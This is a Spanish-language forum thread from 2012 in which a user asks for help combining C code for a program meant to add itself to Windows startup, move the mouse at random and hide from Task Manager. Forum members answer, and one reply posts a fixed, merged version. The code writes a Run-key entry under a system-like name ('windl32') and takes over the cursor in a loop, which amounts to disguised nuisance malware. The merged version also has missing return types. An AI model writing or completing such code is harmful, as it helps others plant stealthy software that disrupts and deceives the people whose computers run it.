Título: Problema con Dev C++ Publicado por: Netflash en 18 Septiembre 2012, 19:50 pm Estoy creando un programa en Dev C++ que tienes estas funciones pero hay un problema :-\,
- Que se agregue al registro - Mueva el raton aleatoriamente - Ocultarse del administrador de tareas - i otras funciones que tengo De momento tengo el codigo de agregarse al registro: Citar #include <windows.h> int main() { HKEY hkey; RegOpenKeyEx (HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\run",0,KEY_SET_VALUE,&hkey); RegSetValueEx(hkey,"windl32",0,REG_SZ,(const unsigned char*)"I:\windl32.exe",sizeof"I:\windl32.exe"); RegCloseKey(hkey); } Y el de mover la rata Citar #include <windows.h> int main() { FreeConsole(); srand(GetTickCount()); int nWidth = GetSystemMetrics(SM_CXSCREEN) - 1; int nHeight = GetSystemMetrics(SM_CYSCREEN) - 1; while(!GetAsyncKeyState(VK_F8)){ SetCursorPos((rand() % nWidth) + 1, (rand() % nHeight) + 1); Sleep(5); } return 0; } Al momento de juntar estas dos funciones pues me tira un error de compilación, ya llevo varios dias buscando y no logro encontrar esta solucion.... Título: Re: Problema con Dev C++ Publicado por: ankora45 en 18 Septiembre 2012, 20:07 pm Sinceramente creo que estan bien pero si utilizas dev-c++ pasate a code::blocks ya que usa un compilador diferente perop no me hagas muxo caso
Título: Re: Problema con Dev C++ Publicado por: 0xDani en 18 Septiembre 2012, 20:40 pm Sinceramente creo que estan bien pero si utilizas dev-c++ pasate a code::blocks ya que usa un compilador diferente perop no me hagas muxo caso El dev-c++ usa el compilador de borland, y el code::blocks el mingw, que es una adaptacion del gcc a windows, segun tengo entendido. Eso por defecto claro, supongo que ambos se pueden configurar. En cuanto a la pregunta del tema, yo no la voy a responder porque no entiendo de la API de windows, pero te aconsejo que pongas la salida del compilador, asi seguramente te contestara mas gente. Saludos. PD: Dev-c++ es un proyecto abandonado. Título: Re: Problema con Dev C++ Publicado por: SokarTefnut en 20 Septiembre 2012, 11:18 am Acabo de incluirlo en un archivo,compilarlo y ejecutarlo, funciona, aunque habia un error.
Compilando con GCC : ERROR: Aviso; secuencia de escape desconocida '\w' en la linea 61 el problema estaba en que en el programa original estas usando I:\windl32.exe, y hay que utilizar la doble barra I:\\windl32.exe #include <windows.h> int main() { RegFuncion(); SaltaRaton(); } RegFuncion(void) { HKEY hkey; RegOpenKeyEx (HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\run",0,KEY_SET_VALUE,&hkey); RegSetValueEx(hkey,"windl32",0,REG_SZ,(const unsigned char*)"I:\\windl32.exe",sizeof"I:\\windl32.exe"); RegCloseKey(hkey); return; } SaltaRaton(void) { FreeConsole(); srand(GetTickCount()); int nWidth = GetSystemMetrics(SM_CXSCREEN) - 1; int nHeight = GetSystemMetrics(SM_CYSCREEN) - 1; while(!GetAsyncKeyState(VK_F8)){ SetCursorPos((rand() % nWidth) + 1, (rand() % nHeight) + 1); Sleep(5); } } |